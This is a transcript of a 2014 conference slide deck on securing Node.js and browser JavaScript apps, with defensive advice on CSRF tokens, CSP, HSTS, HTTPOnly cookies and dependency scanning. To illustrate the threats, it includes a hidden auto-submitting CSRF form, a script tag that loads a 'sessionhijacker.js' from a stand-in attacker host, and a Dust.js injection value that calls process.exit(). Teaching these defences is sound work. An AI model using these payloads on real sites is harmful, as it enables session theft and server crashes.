$30 off During Our Annual Pro Sale. View Details »

HTML5DevConf 2014 - Securing your JavaScript apps

HTML5DevConf 2014 - Securing your JavaScript apps

Securing your JavaScript apps

Mark Stuart

May 22, 2014
Tweet

More Decks by Mark Stuart

Other Decks in Programming

Transcript

  1. SECURING
    YOUR
    JAVASCRIPT
    APPS

    View Slide

  2. Node &
    Client-side JS

    View Slide

  3. @mark_stuart
    @mstuart

    View Slide

  4. How are you
    using JavaScript?

    View Slide

  5. Why security?

    View Slide

  6. View Slide

  7. View Slide

  8. View Slide

  9. Not just PayPal,
    but your company too.

    View Slide

  10. View Slide

  11. View Slide

  12. View Slide

  13. Web Security
    State of the Union
    2014

    View Slide

  14. Same vulnerabilities.
    Nothing new.

    View Slide

  15. ok cya.

    View Slide

  16. Node

    View Slide

  17. Know what you require()
    Rule #1 !
    !
    !

    View Slide

  18. NPM has ~75,000 modules

    View Slide

  19. Anyone can publish anything

    View Slide

  20. And they can do
    some terrible things

    View Slide

  21. Use good security defaults
    Rule #2 !
    !
    !

    View Slide

  22. Node is a set of
    barebones modules

    View Slide

  23. HTTP
    OS DNS
    TLS/SSL
    Path
    Process
    UDP URL
    File System Crypto Buffer

    View Slide

  24. Express is a
    barebones framework

    View Slide

  25. Express does very
    little to secure your app

    View Slide

  26. But, that’s okay!

    View Slide

  27. … Drum roll …

    View Slide

  28. View Slide

  29. Enterprise-grade
    Express

    View Slide

  30. Lusca
    App Security module for Express

    View Slide

  31. var express = require(‘express’),
    app = express(),
    lusca = require(‘lusca’);

    View Slide

  32. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  33. Pardon the interruption

    View Slide

  34. CSRF

    View Slide

  35. Trick victim’s browser into
    making malicious requests
    CSRF

    View Slide

  36. All you need is a valid cookie.
    CSRF

    View Slide

  37. CSRF
    "
    Victim
    somebank
    .com
    #
    Cookie

    View Slide

  38. CSRF
    "
    Victim
    hackedsite
    .com
    somebank
    .com
    Cookie

    View Slide

  39. CSRF
    transferFunds”>



    !
    document.forms.someHiddenForm.submit();

    View Slide

  40. It’s still just an HTTP request.
    CSRF

    View Slide

  41. If only we had a way to ensure
    requests were legitimate…
    CSRF

    View Slide

  42. lusca.csrf();

    View Slide

  43. Token synchronizer pattern
    lusca.csrf();

    View Slide

  44. 1. Creates a random token
    lusca.csrf();
    (using some crazy crypto libraries)

    View Slide

  45. 2. Adds token to res.locals
    lusca.csrf();

    View Slide

  46. 3. Dump token on the page

    lusca.csrf();

    View Slide

  47. 4. Send token with every
    POST, PUT, DELETE request
    lusca.csrf();

    View Slide

  48. $.ajaxPrefilter(function(options, _, xhr) {
    if (!xhr.crossDomain) {
    xhr.setRequestHeader('X-CSRF-Token', csrfToken);
    }
    });
    lusca.csrf();

    View Slide

  49. lusca.csrf();
    5. Verify token is correct,
    otherwise return 403.

    View Slide

  50. CSP

    View Slide

  51. CSP is really awesome.

    View Slide

  52. It’s basically a whitelist.

    View Slide

  53. Content-Security-Policy:
    default-src 'self' https://*.your-cdn.com;
    script-src 'self' https://*.your-cdn.com;
    img-src https://*.your-cdn.com data:;
    object-src 'self';
    font-src 'self' https://*.googlefonts.com;
    connect-src …
    frame-src …
    style-src …
    media-src …

    View Slide

  54. View Slide

  55. lusca.csp( { /* … */ } );

    View Slide

  56. lusca.csp({
    "default-src": "'self' https://*.your-cdn.com”,
    "script-src": “'self' https://*.your-cdn.com”,
    "img-src": “https://*.your-cdn.com data:”,
    "font-src": “‘self’",
    “report-uri”: “https://mysite.com/cspReporter”
    });

    View Slide

  57. “report-uri”: “https://mysite.com/cspReporter”

    View Slide

  58. lusca.hsts();

    View Slide

  59. lusca.hsts();
    Ensures HTTPS traffic

    View Slide

  60. lusca.hsts();
    Helps prevent MITM attacks

    View Slide

  61. lusca.xframe();

    View Slide

  62. lusca.xframe();
    Prevent others from loading
    your app in an iframe

    View Slide

  63. View Slide

  64. app.use(lusca.xssProtection());
    app.use(lusca.p3p());

    View Slide

  65. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  66. HTTPOnly cookies

    View Slide

  67. Prevents session hijacking
    HTTPOnly cookies

    View Slide

  68. app.use(express.session({
    secret: ‘0m6!s3cr37’,
    cookie: { httpOnly: true, secure: true },
    }));
    HTTPOnly cookies

    View Slide

  69. Set-Cookie:!
    connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; !
    Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT;
    HttpOnly
    HTTPOnly cookies

    View Slide

  70. Handle errors, or crash.
    Rule #3 !
    !
    !

    View Slide

  71. !
    Wed, 21 May 2014 18:49:00 GMT !
    uncaughtException Object # has no method ‘forEach'!
    !
    TypeError: Object # has no method 'forEach'!
    at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)!
    !
    Process finished with exit code 1!

    View Slide

  72. Basically, a DOS attack

    View Slide

  73. Either catch them,
    or restart

    View Slide

  74. Eval is still evil
    Rule #4 !
    !
    !

    View Slide

  75. Node is still JavaScript

    View Slide

  76. Dust.js
    {@if cond=“{cardType} === ‘VISA’”}

    {/if}

    View Slide

  77. Node Security Project
    http://nodesecurity.io

    View Slide

  78. Audit all modules in NPM

    View Slide

  79. Contribute patches

    View Slide

  80. Educate others

    View Slide

  81. View Slide

  82. Scan for vulnerable modules
    Rule #5 !
    !
    !

    View Slide

  83. npm install grunt-nsp-package —save-dev
    grunt validate-package

    View Slide

  84. View Slide

  85. Make it a part of your CI

    View Slide

  86. Update your dependencies
    Rule #6 !
    !
    !

    View Slide

  87. Add a badge to your README

    View Slide

  88. david-dm.org

    View Slide

  89. View Slide

  90. ESLint custom rules

    View Slide

  91. Let’s recap…

    View Slide

  92. 1. Know what you’re require()’ing
    2. Node is still JavaScript
    3. Use good security defaults
    4. Security can be automated, too!

    View Slide

  93. Client-side JS

    View Slide

  94. Content injection

    View Slide

  95. XSS sucks. It’s everywhere.

    View Slide

  96. Escape everything.
    Rule #1 !
    !
    !

    View Slide


  97. <script src='http://hacker.com/
    sessionhijacker.js'></script>

    View Slide

  98. User input and
    “backend” data

    View Slide

  99. Persistent or Stored XSS

    View Slide

  100. "
    Attacker
    yoursite.com
    PUT /account/edit
    { firstName: ‘…’ }<br/>"<br/>Victim<br/>"<br/>Victim<br/><script>…
    GET /addressBook

    GET /addressBook
    yoursite.com
    yoursite.com

    View Slide

  101. Don’t trust
    backend services
    to escape properly

    View Slide

  102. Know your templating library.
    Rule #2 !
    !
    !

    View Slide

  103. Use it properly.

    View Slide

  104. Underscore templates

    View Slide

  105. ” />
    ” />

    View Slide

  106. Dust.js templates

    View Slide

  107. {@if cond=“{cardType} === ‘VISA’”}

    {/if}

    View Slide

  108. {@if cond=“{zipCode} === {defaultZipCode}”}

    {/if}
    {
    “zipCode”: “\\”,
    “defaultZipCode”: “);process.exit();//“
    }

    View Slide

  109. Your server’s crashed.
    $

    View Slide

  110. Upgrade your front-end
    dependencies.
    Rule #3 !
    !
    !

    View Slide

  111. Retire.js

    View Slide

  112. jQuery <1.9.0
    jQuery Mobile <1.0.1
    Backbone <0.5.0
    Angular <1.2.0
    Handlebars <1.0.0
    YUI <3.5.0
    Ember <1.3.0
    Mustache <0.3.1

    View Slide

  113. Running "retire:jsPath" (retire) task!
    !
    >> test-files/jquery-1.6.js!
    >> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/
    vuln/detail?vulnId=CVE-2011-4969!
    !
    >> Aborted due to warnings.
    npm install grunt-retire --save-dev
    grunt retire

    View Slide

  114. Automate it!

    View Slide

  115. Rules of Thumb

    View Slide

  116. No matter what you do,
    someone will always
    find a way in

    View Slide

  117. But, you’ll get 80% there
    if you…

    View Slide

  118. Choose libraries with
    good security defaults.
    !
    !
    !

    View Slide

  119. Sanitize data coming in
    and going out.
    !
    !
    !

    View Slide

  120. Update your dependencies!
    !
    !
    !

    View Slide

  121. Automate security, too.
    !
    !
    !

    View Slide

  122. thanks!

    View Slide

  123. mark stuart
    @mark_stuart
    @mstuart

    View Slide

  124. Links
    https://github.com/nodesecurity/grunt-nsp-package
    https://github.com/bekk/grunt-retire
    https://nodesecurity.io/
    https://github.com/evilpacket/helmet
    http://krakenjs.com/
    https://github.com/krakenjs/lusca
    https://david-dm.org/
    https://www.owasp.org/index.php/Cross-Site

    View Slide